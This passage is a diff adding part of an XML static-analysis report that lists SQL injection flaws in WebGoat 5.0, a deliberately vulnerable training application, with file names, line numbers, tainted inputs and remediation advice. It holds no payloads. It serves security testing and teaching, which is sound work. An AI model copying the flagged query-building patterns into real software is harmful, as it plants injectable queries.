+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"148\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.http.HttpServletRequest.getCookies.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Challenge2Screen.java\"
+        line=\"220\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.Challenge2Screen\"
+        functionprototype=\"apache.ecs.Element doStage2(session.WebSession)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"66\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"114\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"26\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"245\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable insertData1. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DOS_Login.java\"
+        line=\"134\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.DOS_Login\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"206\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"148\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.Login\" functionprototype=\"byte
+        login(session.WebSession, int, java.lang.String)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"75\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"149\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login(session.WebSession, java.lang.String, java.lang.String)\"
+        functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"106\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"Login.java\"
+        line=\"191\" sourcefilepath=\"org/owasp/webgoat/lessons/SQLInjection/\" scope=\"org.owasp.webgoat.lessons.SQLInjection.Login\"
+        functionprototype=\"byte login_BACKUP(session.WebSession, java.lang.String,
+        java.lang.String)\" functionrelativelocation=\"36\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"247\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlNumericInjection.java\"
+        line=\"130\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlNumericInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"165\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SqlStringInjection.java\"
+        line=\"112\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SqlStringInjection\"
+        functionprototype=\"apache.ecs.Element injectableQuery(session.WebSession)\"
+        functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"225\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ThreadSafetyProblem.java\"
+        line=\"103\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.ThreadSafetyProblem\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"53\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"71\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"176\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"112\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"248\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        changeEmployeeProfile(session.WebSession, int, int, session.Employee)\" functionrelativelocation=\"83\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"59\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"295\" sourcefilepath=\"org/owasp/webgoat/lessons/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.RoleBasedAccessControl.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"68\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"139\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeUpdate\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeUpdate()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeUpdate() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile.java\"
+        line=\"340\" sourcefilepath=\"org/owasp/webgoat/lessons/CrossSiteScripting/\"
+        scope=\"org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile\" functionprototype=\"void
+        createEmployeeProfile(session.WebSession, int, session.Employee)\" functionrelativelocation=\"85\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"258\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from earlier calls
+        to javax.servlet.ServletRequest.getParameterValues, javax.servlet.ServletRequest.getParameter,
+        java.sql.Statement.executeQuery, and java.sql.PreparedStatement.executeQuery.\r\n\r\nAvoid
+        dynamically constructing SQL queries. Instead, use parameterized prepared
+        statements to prevent the database from interpreting the contents of bind
+        variables as part of the query. Always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/89.html)
+        \r\nOWASP (http://www.owasp.org/index.php/SQL_injection) \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\"
+        note=\"\" cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"UpdateProfile_i.java\"
+        line=\"64\" sourcefilepath=\"org/owasp/webgoat/lessons/instructor/RoleBasedAccessControl/\"
+        scope=\"org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl.UpdateProfile_i\"
+        functionprototype=\"void changeEmployeeProfile(session.WebSession, int, int,
+        session.Employee)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"17\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable sqlStatement. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
+        to the expected format, using centralized data validation routines when possible.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/89.html) \r\nOWASP (http://www.owasp.org/index.php/SQL_injection)
+        \r\nWASC (http://webappsec.pbworks.com/SQL-Injection)\r\n\r\n\" note=\"\"
+        cweid=\"89\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"19\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppp\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewDatabase.java\"
+        line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/admin/\" scope=\"org.owasp.webgoat.lessons.admin.ViewDatabase\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"4\" categoryname=\"Improper Neutralization of Special Elements
+        used in an SQL Command ('SQL Injection')\" count=\"1\" issueid=\"12\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.sql.Statement.executeQuery\" description=\"This database query
+        contains a SQL injection flaw. The call to java.sql.Statement.executeQuery()
+        constructs a dynamic SQL query using a variable derived from user-supplied
+        input. An attacker could exploit this flaw to execute arbitrary SQL queries
+        against the database. The first argument to executeQuery() contains tainted
+        data from the variable query. The tainted data originated from an earlier
+        call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid dynamically
+        constructing SQL queries. Instead, use parameterized prepared statements to
+        prevent the database from interpreting the contents of bind variables as part
+        of the query. Always validate user-supplied input to ensure that it conforms
